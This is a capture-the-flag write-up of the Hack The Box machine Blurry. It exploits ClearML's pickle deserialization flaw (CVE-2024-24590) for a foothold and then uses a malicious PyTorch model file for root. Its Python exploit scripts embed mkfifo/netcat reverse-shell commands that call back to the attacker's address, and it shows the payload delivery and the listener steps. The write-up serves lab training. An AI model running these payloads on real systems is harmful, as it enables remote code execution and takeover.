Back to blog
← Back to posts Blurry has been Pwned

HTB: Blurry


Blurry starts with subdomain enumeration revealing a ClearML MLOps platform at app.blurry.htb. After registering and configuring the SDK, we exploit CVE-2024-24590 (unsafe pickle deserialization on artifact load) for a foothold as jippity. Root is reached by crafting a malicious PyTorch model (.pth) that exploits a misconfigured sudo rule — evaluate_model calls torch.load(), triggering a second deserialization as root.
nmap → 22, 80 Gobuster DNS → 3 vhosts ClearML register CVE-2024-24590 jippity sudo .pth → root

Reconnaissance

Nmap

Initial scan finds SSH and an nginx web server that immediately redirects to app.blurry.htb.

nmap — initial scan
SP1R4@kali)-[~/HTB/blurry] └$ nmap -sV -sC -oN nmap.txt 10.10.11.19 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) 80/tcp open http nginx 1.18.0 |_http-title: Did not follow redirect to http://app.blurry.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
hosts — add entries
echo "10.10.11.19 app.blurry.htb files.blurry.htb chat.blurry.htb api.blurry.htb blurry.htb" | sudo tee -a /etc/hosts

Subdomain Enumeration

gobuster dns
SP1R4@kali)-[~/HTB/blurry] └$ gobuster dns -d "blurry.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt Found: files.blurry.htb Found: app.blurry.htb Found: chat.blurry.htb

chat.blurry.htb — Rocket.Chat

Browsing the Rocket.Chat instance after registering reveals team conversations. Rocket.Chat — jippity identified as admin The admin user is jippity and the team is building AI tooling — useful context for what runs on app.blurry.htb.

chat.blurry.htb — Rocket.Chat login

app.blurry.htb — ClearML

app.blurry.htb — ClearML registration

ClearML is an open-source MLOps platform for tracking AI/ML experiments. Submitting any name grants developer access and provides API credentials. We need to add api.blurry.htb to hosts before running the SDK init.

clearml — setup
pip install virtualenv && python3 -m venv .env && source .env/bin/activate pip install clearml clearml-init # paste the config from the web UI settings page when prompted
ClearML — SDK setup instructions
~/.clearml.conf
api { web_server: http://app.blurry.htb api_server: http://api.blurry.htb files_server: http://files.blurry.htb credentials { "access_key" = "TCD21QWKRNXVRMH39C8C" "secret_key" = "n5cLnoNaOhJuvixJeG6Gy1Slt5wICU5tHbJHuSi8mTnvD0S" } }
clearml-init — credentials verified

Vulnerabilities

Searching for known ClearML CVEs surfaces a batch of disclosures from early 2024. The one that matters for us:

CVEDescriptionUsed
CVE-2024-24590Pickle Load on Artifact Get — unsafe deserialization✓ foothold
CVE-2024-24591Path Traversal on File Download
CVE-2024-24592Improper Auth → Arbitrary Read-Write
CVE-2024-24593CSRF in ClearML Server
CVE-2024-24594XSS via HTML rendering
CVE-2024-24595Plaintext creds in MongoDB

When a ClearML agent processes a task, it downloads the artifact and calls pickle.load() without validation. By crafting an object with a malicious __reduce__ method, we execute arbitrary code the moment the agent picks up our task.

Foothold

CVE-2024-24590 — Pickle Deserialization

We create a class whose __reduce__ returns a reverse shell command, upload it as a ClearML artifact tagged review, and queue it. The admin agent executes it automatically.

exploit.py
import os, subprocess from clearml import Task class ShellExecutor: def __reduce__(self): cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_IP> 4444 >/tmp/f" return (subprocess.call, (cmd,)) task = Task.init( project_name="Black Swan", task_name="sp1r4Task", tags=["review"], task_type=Task.TaskTypes.data_processing, output_uri=True ) task.upload_artifact(name="sp1r4Artifact", artifact_object=ShellExecutor(), retries=2, wait_on_upload=True) task.execute_remotely(queue_name='default')
listener & shell stabilization
# Start listener before running the exploit nc -lvnp 4444 # Once connected — stabilize python3 -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm # Ctrl+Z stty raw -echo; fg jippity@blurry:~$
🚩 Shell as jippity. User flag captured.

Privilege Escalation

sudo -l

sudo permissions
jippity@blurry:~$ sudo -l User jippity may run the following commands on blurry: (root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth

The evaluate_model script loads model files with torch.load() — which internally calls pickle.load(). We also have write access to /models/:

check /models permissions
jippity@blurry:~$ ls -la / | grep models drwxrwxr-x 2 root jippity 4096 Jun 13 13:32 models
/models — writable by jippity
torch.load() == pickle.load() — PyTorch .pth files are pickle-serialized objects. Any class with a custom __reduce__ will execute arbitrary code on load.

Malicious PyTorch Model

We craft a model class that overrides __reduce__ with a reverse shell, save it as a .pth file, and drop it into /models/.

malicious_model.py
import torch, torch.nn as nn, os class MaliciousModel(nn.Module): def __init__(self): super().__init__() self.dense = nn.Linear(10, 1) def forward(self, x): return self.dense(x) def __reduce__(self): cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_IP> 9001 >/tmp/f" return os.system, (cmd,) torch.save(MaliciousModel(), 'sp1r4_model.pth')
deliver & trigger
# Attacker — serve the file python3 -m http.server 8080 # Target — fetch and place jippity@blurry:~$ wget http://<YOUR_IP>:8080/sp1r4_model.pth -O /models/sp1r4_model.pth # Start second listener, then trigger as root nc -lvnp 9001 jippity@blurry:/models$ sudo /usr/bin/evaluate_model /models/sp1r4_model.pth [+] Model /models/sp1r4_model.pth is considered safe. Processing... # Shell received: # whoami root # cat /root/root.txt HTB{...}
🚩 Root flag captured. Machine pwned.

Summary

StageTechniqueTool
ReconSubdomain brute-force → 3 vhostsgobuster
EnumRocket.Chat → admin = jippitybrowser
FootholdCVE-2024-24590 ClearML pickle deserialization RCEpython3, nc
PrivEscsudo evaluate_model + malicious .pth → torch.load() RCE as rootpython3, nc

Key commands

quick reference
# Subdomain discovery gobuster dns -d "blurry.htb" -w subdomains-top1million-5000.txt # ClearML SDK setup pip install clearml && clearml-init # Run pickle exploit python3 exploit.py # Build malicious model python3 malicious_model.py # Trigger privesc sudo /usr/bin/evaluate_model /models/sp1r4_model.pth